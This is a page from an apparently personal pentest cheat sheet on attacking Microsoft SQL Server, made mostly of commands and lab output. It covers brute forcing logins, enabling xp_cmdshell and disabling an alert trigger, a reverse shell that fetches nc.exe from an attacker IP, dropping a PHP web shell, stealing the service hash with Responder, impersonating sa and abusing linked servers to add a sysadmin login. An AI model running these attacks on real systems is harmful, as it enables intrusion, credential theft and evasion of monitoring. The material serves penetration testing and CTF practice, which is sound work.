0xSs0rZ
  • Hello World
  • Whoami
  • Interesting Books
  • Pentest
    • CheckLists
    • Recon
      • Tools
      • Information Gathering
      • OSINT
        • Tools
        • Emails
        • Dark Web Exposure
        • Database Leak - Credential stuffing
        • Code Search (Gitlab / Github)
        • Credentials in git repos
        • GitHub - finding vulnerabilities
        • API Leaks
        • Docker
        • Social Media
        • Credentials in YouTube Videos
        • Metadata and Hidden infos
      • Whois
      • Google Dorks
      • Git Dorks
      • Cloud
      • DNS Subdomain Enumeration
      • Virtual Host
      • Fingerprinting / Crawling
      • Host Discovery
    • Protocols
      • Port Scan
      • IDS IPS AV Evasion
      • Common Ports
      • MindMap
      • DNS (53)
      • FTP (21)
      • IMAP POP3 (110, 143, 993, 995)
      • IPMI (623 UDP)
      • Kerberos (88)
      • LDAP (389)
      • MSSQL (1433)
      • MySQL (3306)
      • NFS (2049, 111)
      • Oracle TNS (1521, 1522-1529, 1748)
      • RDP (3389)
      • R-Services (512,513,514)
      • RSYNC (873)
      • SMB (445, 139) / RPC
      • SMTP (25, 465)
      • SNMP (10161, UDP 161)
      • SQLite
      • SSH (22)
      • WinRM (5985, 5986)
      • WMI (135)
    • Brute force
      • Default Credentials
      • Password lists
      • Username lists
      • Kraken - All-in-One Tool
      • Bypass IP Blocking
      • Hydra - Basics
      • Web login
      • FTP Bruteforce
      • O365 Bruteforce
      • POP3 Bruteforce
      • RDP Bruteforce
      • SMB Bruteforce
      • SMTP Bruteforce
      • SSH Bruteforce
      • WinRM Bruteforce
      • VNC Bruteforce
    • Shells
      • Web Shell
      • Bind and Reverse Shell
      • TTY Upgrade
    • File Transfer
      • Upload
      • Download - Exfiltration
      • Encryption
    • Web attacks
      • Methodology & Academy
      • OWASP Top 10
      • Avoid Aggressive Scanning
      • Web Enumeration
      • Fuzzing
      • Bypass 403 / 401
      • Bypass 302
      • Registration Form
      • Email Verification Bypass
      • Email injections
      • Phone Number Injection
      • Login Forms Attacks
        • RCE in Login Page
        • Bypass Authentication
        • Login Brute Force
        • Stay Logged In
        • PHP Type Juggling
      • Bypass Captcha
      • SSO
        • OAuth / Okta Misconfiguration
        • SCIM
        • SAML
      • 2FA / OTP
      • Password Reset
      • SQL Injection
      • NoSQL injection
      • LDAP Injection
      • XSS
      • SSI / ESI Injection
      • CSP Bypass
      • File Inclusion LFI / RFI
      • File Upload Attacks
      • Command Injection
      • Markdown injection
      • XPath Injection
      • HTTP Verb Tampering
      • HTTP Header Exploitation
      • HTTP Request Smuggling
      • Price / Checkout Manipulation Methods
      • Testing Credit Cards
      • Cookies Misconfiguration
      • Basic HTTP Authentification
      • JWT Token
      • IDOR
      • XXE / XSLT
      • SSTI
      • CSTI
      • SSRF
      • CSRF
      • CORS
      • Open Redirection
      • CSPT
      • Relative Path Overwrite, RPO
      • CRLF Injection
      • JSON Attack
      • Prototype Pollution
      • Web Mass Assignment
      • Web Cache
      • Clickjacking
      • Tabnabbing
      • Race Conditons
      • CSV Injection
      • CSS Exfiltration
      • WAF Bypass
      • CMS
      • Django
      • Flask / Werkzeug
      • Tomcat (8080)
      • Tomcat CGI
      • Jetty
      • Nginx
      • IIS
      • Exchange / OWA
      • GitLab
      • Jenkins
      • Splunk
      • Elasticsearch
      • PRTG Network Monitor
      • osTicket
      • ColdFusion
      • Nagios
      • Webmin
      • Slack
      • Moodle
      • Jira
      • Magento
      • Prestashop
      • Docker
      • KeyCloak
      • Jupyter Notebook
    • API
      • OWASP API Top 10
      • Checklist
      • API Discovery / Reco
      • Sensitive Data (API Key, JWT token, etc.) Exposed
      • Postman Usage
      • ZAP Scanner & other scanning methods
      • Swagger UI
      • REST API
      • Improper Asset Management
      • Email Enumeration
      • Authentication Bruteforce
      • JWT Token
      • Insecure UUID
      • Mass Assignment
      • Server Side Parameter Pollution
      • IDOR
      • JSON Injection
      • Path Traversal
      • Rate Limiting
      • GraphQL
      • Tools & Scanners
      • Resources
    • Public Exploit
      • Search for CVE PoC
      • Convert line breaks from DOS to Linux
      • 7 zip
      • Adobe Acrobate Reader
      • Aiohttp
      • Angular
      • AnyDesk
      • Apache Active MQ
      • Apache Camel
      • Apache OFBiz
      • Apache Struts
      • Apache Traffic Control
      • Axis IP Camera
      • Cacti
      • Chamilo elearning
      • Check Point
      • Cisco
      • Citrix
      • Cleo File Transfer
      • Commvault
      • CrushFTP
      • CyberPanel
      • D-Link
      • Denodo Scheduler
      • F5 Big-IP
      • Froxlor
      • Fortinet
      • GeoServer
      • Ghostscript
      • Gitea
      • GLPI
      • Gogs
      • Grafana
      • Invision Community
      • Ivanti
      • Keycloak
      • Laravel
      • Mitel MiCollab
      • MobileIron
      • MOVEit Transfer
      • Navidrome
      • Next.js
      • Node.js
      • Nostromo
      • NVMS 1000
      • OpenNetAdmin
      • Oracle PeopleSoft
      • Oracle Weblogic
      • Palo Alto
      • Pandora
      • PDF.js
      • pfSense
      • PHP
      • phpMyAdmin
      • Prestashop
      • Roundcube
      • rsync
      • Salesforce
      • SAP
      • SolarWinds
      • SonicWall
      • Splunk
      • Spring
      • SQLPad
      • Squid Proxy
      • SuiteCRM
      • Symfony
      • Synology
      • TeamViewer
      • TP Link
      • vBulletin
      • Vite.js
      • VMWare
      • Wazuh
      • Winrar
      • YesWiki
      • Zabbix
      • Zimbra
      • ZoneAlarm AV/Firewall
      • ZoneMinder
    • External Pentest
    • Internal Pentest
      • Tools
      • Methodology & Cheatsheet
      • Basic Windows Commands
      • Network Attacks
      • LLMNR NBT-NS Poisoning
      • ADIDNS Spoofing
      • TimeRoast
      • Users Identification
      • Password Policy
      • Password Spray
      • LDAP Pass Back Attack
      • Reconaissance
        • Bloodhound
        • Enumeration from Windows Host
        • Enumeration from Linux Host
      • Microsoft Office & Outlook
      • Microsoft SharePoint
      • Windows Exploit
      • Print Spooler
      • LOL Bins
      • Security Controls
      • Network Shares
      • RDWA
      • Kerberoast
      • Misconfiguration
      • Pre-Created Computer Accounts
      • Privileged Access
      • ACL
      • Privilege escalation
      • SAM & LSA secrets
      • NTLM Hashes
      • LSASS secrets
      • AD CS
      • DPAPI
      • gMSA
      • dMSA - Windows Server 2025
      • Bypass Powershell Execution Policy
      • Disable / Remove AV Defender and Firewall
      • Kerberos Double Hop Problem
      • SCCM
      • MDT
      • AD FS
      • Trustee and Resource Delegation
      • LAPS
      • DCSync
      • NTDS secrets
      • Domain Password Audit Tools
      • Trusts
      • Persistence
      • Tiering
      • Detection
    • Privilege Escalation
      • Find specific file
      • Linux
        • Tools
        • Linux PrivEsc MindMap
        • Basics Commands
        • Basics - EoP Checklist
        • Environment Enum
        • Services & Internals Enum
        • Writable files / directories
        • /etc/passwd & /etc/shadow
        • Credentials Hunting
        • Path Abuse
        • Wildcard Abuse
        • Escaping Restricted Shells
        • SUID/SGID
        • Sudo Rights Abuse
        • Privileged Groups
        • Capabilities
        • Vulnerable Services
        • Cron Job Abuse
        • Kubernetes
        • Logrotate
        • Miscellaneous Techniques
        • Kernel Exploits
        • Shared Libraries
        • Shared Object Hijacking
        • Python Library Hijacking
        • su bruteforce
        • Hardening Linux
      • Windows
        • Tools
        • Cheatsheet
        • Enumeration
        • Credentials Hunting
        • User Privileges
        • Group Privileges
        • User Account control (UAC)
        • Weak Permissions
        • Kernel / Drivers Exploits
        • Vulnerable Services
        • Token Impersonation
        • Exploit CVE
        • DLL Hijacking
        • Citrix Breakout
        • RDWeb Breakout
        • Interacting with Users
        • Pillaging
        • Miscellaneous Techniques
        • Windows Server
        • Windows Desktop Versions
        • Windows Processes
        • MSI Files
        • NTLM elevation of privilege
        • From Local Admin to NT AUTHORITY\SYSTEM
      • Docker Escape / Breakout
    • Post Exploitation
      • Covering Tracks - Linux
      • Pivot, Tunneling and Port Forwarding
      • Lateral Movement
        • Pass the Hash (PtH)
        • Pass the Ticket (PtT) - Windows
        • Pass the Ticket (PtT) - Linux
        • Fileless Lateral Movement
        • DCOM
      • Gather credentials and more
        • Credentials on Host
        • Password managers, Teamviewer, Outlook, etc.
        • Microsoft Teams Cookies
        • Browser cookies
        • Linux post exploitation
        • Screenshots, clipboard
        • IIS Credentials
        • Azure AD / Entra ID
        • MSOL (Microsoft Online Services) account
        • SCOM credentials
        • Cisco phone system
      • Exfiltration
      • Resources
    • Cracking
      • Hashes
      • Files - Encrypted
      • Blurred image, pdf, etc
    • Thick Client Pentest
    • Wifi Pentest
    • Mobile Pentest
    • Configuration Audit / Hardening
    • Code Analysis
    • Tools
      • Arsenal - Cheatsheet
      • Burp
      • Browser Extensions
      • Evil-WinRM
      • Internal Pentest Tools Pre Compiled
      • Metasploit
      • Mimikatz
      • NetExec - CME
      • PowerView
      • Rubeus
      • SQLMAP
      • Vulnerability Scanners
      • Collaborator, Web Hook, etc.
    • Search Engines
    • Cheatsheets
    • Note Keeping / Reporting / Admin Stuff
  • Cloud
    • Cloud VM
    • Enumeration
    • SSRF / RCE
    • Azure
    • AWS
      • Recon / Initial Access / Enum
      • AWS CLI
      • Pacu
      • IAM
      • VPC - Virtual Private Cloud
      • EC2 - Elastic Compute Cloud
      • Lambda Functions
      • Containers
      • CodeBuild
      • S3 - Simple Storage Service
      • RDS - Relational Database Service
      • DynamoDB
      • EBS - Elastic Block Store
      • AMI
      • SecretsManager
      • Cloudtrail
      • Route 53
      • Cognito
      • SNS - Simple Notification Service
      • Tools
      • Resources
    • GCP
    • Kubernetes
    • Tools
  • Labs
  • Antivirus Evasion - Defender
    • Mindmap
    • Defender Module for PowerShell
    • Static Analysis
    • Dynamic Analysis
    • AMSI Bypass
    • Process Injection
    • Open-Source Software
    • User Access Control (UAC)
    • AppLocker
    • LOLBAS / LOLDrivers / LOLESXi
    • PowerShell ConstrainedLanguage Mode, CLM
    • VBScript
    • Bypass all Powershell security features (AMSI,CLM)
    • Bypass AV Payload / Shells
    • Find Folder Exclusions
    • Resources
  • EDR BYPASS
    • Approches for Evasion
    • Tools
    • Obfuscation
    • EDR Killer
    • BYOVD
    • Spoof Command Line Arguments
    • Blind Spots
    • Living Off Security Tools / LOTTunels
    • Process Hollowing
    • Process Injection - Reverse Shell
    • Payload Creation
    • Shellcode Loader
    • MalDev
    • Malware Testing Lab
    • Resources
  • Red Team
    • OpSec / Anonymity
    • Initial Access
    • Infrastructure (phishing, C2, redirector)
    • C2
    • EDR / AV Bypass
    • Physical Penetration Testing
    • Bypass Bitlocker
    • Resources
  • CTF
    • OSINT
    • Forensic
      • Labs
      • PCAP Analysis - Wireshark
      • DNS
      • Active Directory - GPO
      • Rubber Ducky
      • Memory Analysis
      • Disk Analysis
      • Extract Data / File Carving
      • Metadata
      • BinWalk
      • Audio
      • PNG Images
    • Cryptography
      • Tools
      • GPG
      • RSA
      • ECB / CBC
      • Esoteric Programming Language
      • One Time Pad
      • Baconian Cipher
      • ROT-13 / Caesar
      • Morse Code
      • XOR
      • Substitution
      • Vigenere
    • Steganography
      • Methods
      • Tools
    • Write Up
      • Deadface CTF 2024
      • Intigriti 1337UP Live
      • UMDCTF 2025
Powered by GitBook
On this page
  • Metasploit
  • Brute Force
  • Hydra
  • Medusa
  • Metasploit
  • Nmap
  • NXC
  • RID brute forcing
  • MSSQL coercion
  • Abuse trusted links
  • SharpSQLPwn
  • pySQLRecon
  • MSSQL Databases
  • Nmap
  • Unicode Collation
  • Automated Exploitation
  • Linux
  • Mssqlclient.py
  • sqsh
  • Windows / Linux
  • SQLCMD
  • GUI - Dbeaver
  • Commands
  • XP_CMDSHELL - command execution
  • Enable xp_cmdshell
  • Reverse shell
  • Write files
  • Read local files
  • Steal MSSQL Service Hash
  • Cracking - Hashes
  • Metasploit
  • Impersonate Existing Users
  • Identify Users that We Can Impersonate
  • Verifying our Current User and Role
  • Impersonating the SA User
  • Communicate with Other Databases with MSSQL - Linked servers
  • With PowerUpSQL
  • Automated Exploitation
  • sp_execute_external_script
  • SQLRecon
  • Resources
  • Interesting Books
  • Support this Gitbook
  1. Pentest
  2. Protocols

MSSQL (1433)

PreviousLDAP (389)NextMySQL (3306)

Last updated 1 day ago

MSSQL supports two , which means that users can be created in Windows or the SQL Server:

Authentication Type

Description

Windows authentication mode

This is the default, often referred to as integrated security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials.

Mixed mode

Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.

Metasploit

msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.129.201.248

rhosts => 10.129.201.248


msf6 auxiliary(scanner/mssql/mssql_ping) > run

[*] 10.129.201.248:       - SQL Server information for 10.129.201.248:
[+] 10.129.201.248:       -    ServerName      = SQL-01
[+] 10.129.201.248:       -    InstanceName    = MSSQLSERVER
[+] 10.129.201.248:       -    IsClustered     = No
[+] 10.129.201.248:       -    Version         = 15.0.2000.5
[+] 10.129.201.248:       -    tcp             = 1433
[+] 10.129.201.248:       -    np              = \\SQL-01\pipe\sql\query
[*] 10.129.201.248:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Brute Force

Hydra

 hydra -L user.txt –P pass.txt [IP] mssql

Medusa

medusa -h [IP] –U user.txt –P pass.txt –M mssql

Metasploit

use auxiliary/scanner/mssql/mssql_login
msf auxiliary(scanner/mssql/mssql_login) > set rhosts [IP]
msf auxiliary(scanner/mssql/mssql_login) > set user_file user.txt
msf auxiliary(scanner/mssql/mssql_login) > set pass_file pass.txt
msf auxiliary(scanner/mssql/mssql_login) > set stop_on_success true
msf auxiliary(scanner/mssql/mssql_login) > run

Nmap

nmap -p 1433 –script ms-sql-brute –script-args userdb=user.txt,passdb=pass.txt [IP]

NXC

RID brute forcing

MSSQL coercion

Abuse trusted links

SharpSQLPwn

pySQLRecon

MSSQL Databases

Default System Database
Description

master

Tracks all system information for an SQL server instance

model

Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database

msdb

The SQL Server Agent uses this database to schedule jobs & alerts

tempdb

Stores temporary objects

resource

Read-only database containing system objects included with SQL server

Nmap

sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248

Unicode Collation

:~$ curl -i "http://localhost:5055/login" -X POST -d "email=💩&password=foo"
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 26 Nov 2024 02:56:43 GMT
Server: Kestrel
Transfer-Encoding: chunked

"Logged in user ID 9"

Automated Exploitation

Linux

Mssqlclient.py

$ mssqlclient.py -p 1433 julio@10.129.203.7 

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password: MyPassword!

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208) 
[!] Press help for extra shell commands
SQL> 
python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-01): Line 1: Changed database context to 'master'.
[*] INFO(SQL-01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

SQL> select name from sys.databases

name                                                                                                                               

--------------------------------------------------------------------------------------

master                                                                                                                             

tempdb                                                                                                                             

model                                                                                                                              

msdb                                                                                                                               

Transactions  

When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication. If we are targetting a local account, we can use SERVERNAME\\accountname or .\\accountname.

0xss0rz@htb[/htb]$ mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands

sqsh

sqsh -S 10.129.20.13 -U username -P Password123
$ sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>

Windows / Linux

SQLCMD

C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123
1> SELECT name FROM master.dbo.sysdatabases
2> GO

name
--------------------------------------------------
master
tempdb
model
msdb
htbusers

GUI - Dbeaver

sudo snap install dbeaver-ce 

Commands

SQL (ILF-SQL-01\backdoor  dbo@master)> select name from sys.databases
name        
---------   
master      

tempdb      

model       

msdb        

Employees   

SQL (ILF-SQL-01\backdoor  dbo@master)> USE Employees
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: Employees
[*] INFO(ILF-SQL-01): Line 1: Changed database context to 'Employees'.
SQL (ILF-SQL-01\backdoor  dbo@Employees)> select * from employees.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME             TABLE_TYPE   
-------------   ------------   --------------------   ----------   
Employees       dbo            employee_information   b'BASE TABLE'   

SQL (ILF-SQL-01\backdoor  dbo@Employees)> SELECT * FROM dbo.employee_information;
employee_id   first_name   last_name     home_address               country   phone_number      ssn              job_title                 start_date       salary   
-----------   ----------   -----------   ------------------------   -------   ---------------   --------------   -----------------------   ----------   ----------   
        1.0   b'Emma'      b'Williams'   b'111 street drive lane'   b'US'     b'111-123-1115'   b'123-22-1111'   b'HR Director'            2020-01-11   4294967296000000000   

[REDACTED]
SQL (ILF-SQL-01\backdoor  dbo@Employees)> 

XP_CMDSHELL - command execution

1> xp_cmdshell 'whoami'
2> GO

output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)

Enable xp_cmdshell

If xp_cmdshell is not enabled, we can enable it, if we have the appropriate privileges, using the following command:

-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE
GO  

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- To update the currently configured value for this feature.  
RECONFIGURE
GO

With mssqlclient.py

Note: We don't actually have to type RECONFIGURE as Impacket does this for us.

SQL> enable_xp_cmdshell

[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

If The transaction ended in the trigger disable trigger

SQL (hacker  dbo@flag)> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 11: Attempt to enable xp_cmdshell detected. Database Administrators will be notified!
[-] ERROR(COMPATIBILITY\POO_PUBLIC): Line 181: The transaction ended in the trigger. The batch has been aborted.
SQL (hacker  dbo@flag)> select name from sys.server_triggers;
name                
-----------------   
ALERT_xp_cmdshell   

SQL (hacker  dbo@flag)> disable trigger ALERT_xp_cmdshell on all server
SQL (hacker  dbo@flag)> enable_xp_cmdshell
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
xp_cmdshell whoami /priv
output                                                                             

--------------------------------------------------------------------------------   

NULL                                                                               

PRIVILEGES INFORMATION                                                             

----------------------                                                             

NULL                                                                               

Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   

SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   

SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    

SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    

SeImpersonatePrivilege        Impersonate a client after authentication Enabled    

SeCreateGlobalPrivilege       Create global objects                     Enabled    

SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   

NULL                                                               

Reverse shell

xp_cmdshell "powershell.exe wget http://10.10.14.3/nc.exe -OutFile c:\\Users\Public\\nc.exe"
xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.3 4444"

References

Write files

1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

Create a file:

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read local files

1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

BulkColumn

-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should

(1 rows affected)

mssqlclient

SQL (INLANEFREIGHT\damundsen  dbo@master)> SELECT * FROM OPENROWSET (BULK 'C:\Users\damundsen\Desktop\flag.txt.', SINGLE_CLOB) as correlation_name;

Steal MSSQL Service Hash

Responder.py --interface "tun0"
1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO

subdirectory    depth
--------------- -----------
1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO

HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'

Cracking - Hashes

hashcat -m 5600 mssqlsvc_hash passwords.list

Metasploit

Enum:

msf6 auxiliary(admin/mssql/mssql_enum)

set database master

msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

Do not use "set SMBPROXY tun0"

Use IP: set SMBPROXY 10.10.14.9

Write Up HTB - Escape:

Or Zephyr:

Impersonate Existing Users

Identify Users that We Can Impersonate

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
ben
valentin

(3 rows affected)

With mssqlclient.py:

SQL (WIN-HARD\Fiona  guest@master)> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name    
-----   
john    

simon   

To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role:

Verifying our Current User and Role

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)

As the returned value 0 indicates, we do not have the sysadmin role, but we can impersonate the sa user.

Impersonating the SA User

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)

Note: It's recommended to run EXECUTE AS LOGIN within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master

mssqlclient.py:

SQL (WIN-HARD\Fiona  guest@master)> execute as login = 'john'
SQL (john  guest@master)> select system_user
       
----   
john   

Communicate with Other Databases with MSSQL - Linked servers

Identify linked Servers in MSSQL

1> SELECT srvname, isremote FROM sysservers
2> GO

srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0

(2 rows affected)

1 means is a remote server, and 0 is a linked server.

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO

------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1

(1 rows affected)

If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).

Exfiltrate file content:

SQL (john  guest@master)> SELECT srvname, isremote FROM sysservers
srvname                 isremote   
---------------------   --------   
WINSRV02\SQLEXPRESS            1   

LOCAL.TEST.LINKED.SRV          0   

SQL (john  guest@master)>  EXEC [LOCAL.TEST.LINKED.SRV].master.dbo.sp_configure 'show advanced options', 1;
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john  guest@master)> EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV];
SQL (john  guest@master)> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV]
                
-   -   -   -   
1   1   1   1  

SQL (john  guest@master)> EXECUTE('EXEC sp_configure ''show advanced options'', 1;') AT [LOCAL.TEST.LINKED.SRV]
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.


SQL (john  guest@master)> EXECUTE('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]

SQL (john  guest@master)> EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LOCAL.TEST.LINKED.SRV]
[*] INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john  guest@master)> EXECUTE('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
SQL (john  guest@master)> 

SQL (john  guest@master)> EXECUTE('xp_cmdshell "type C:\Users\Administrator\Desktop\flag.txt >c:\users\fiona\desktop\x.txt"') AT [LOCAL.TEST.LINKED.SRV]
output   
------   
NULL     


Create new user

SQL (external_user  dbo@POO_PUBLIC)> SELECT srvname, isremote FROM sysservers
srvname                    isremote   
------------------------   --------   
COMPATIBILITY\POO_PUBLIC          1   

COMPATIBILITY\POO_CONFIG          0   
SQL (external_user  dbo@POO_PUBLIC)> EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"
SQL (external_user  dbo@POO_PUBLIC)> EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"
SQL (external_user  dbo@POO_PUBLIC)> 
# mssqlclient.py -p 1433 hacker@10.13.38.11

With PowerUpSQL

Enumeration

Discovery (SPN Scanning)

Get-SQLInstanceDomain

Check accessibility

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

Gather information

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Search Database Links

Get-SQLServerLink -Instance mssql-instance-name -Verbose

or manually

select * from master..sysservers

select * from openquery("db-sql",'select * from master..sysservers')

Enumerating Database Links

Get-SQLServerLinkCrawl -Instance mssql-instance-name -Verbose

or manually

select * from openquery("db-sql1",'select * from openquery("db-sql2","select * from master..sysservers")')

select * fromopenquery("192.168.23.25 ",'select * from openquery("db-sqlsrv",''select @@version as version'')')

Executing commands

Option 1: xp_cmdshell is enabled on the target server

Option 2: if rpcout is enabled, xp_cmdshell can be enabled using EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "target-sql"

Without -QueryTarget, the command tries to us xp_cmdshell on every link of the chain

Get-SQLServerLinkCrawl -Instance mssql-instance-name -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget mssql-target

or manually

SELECT * FROM OPENQUERY("db-sql1", 'SELECT * FROM OPENQUERY("db-sql2", ''SELECT * FROM OPENQUERY("mssql.domain.local", ''''SELECT @@VERSION AS version; EXEC master..xp_cmdshell "powershell whoami"'''')'')')

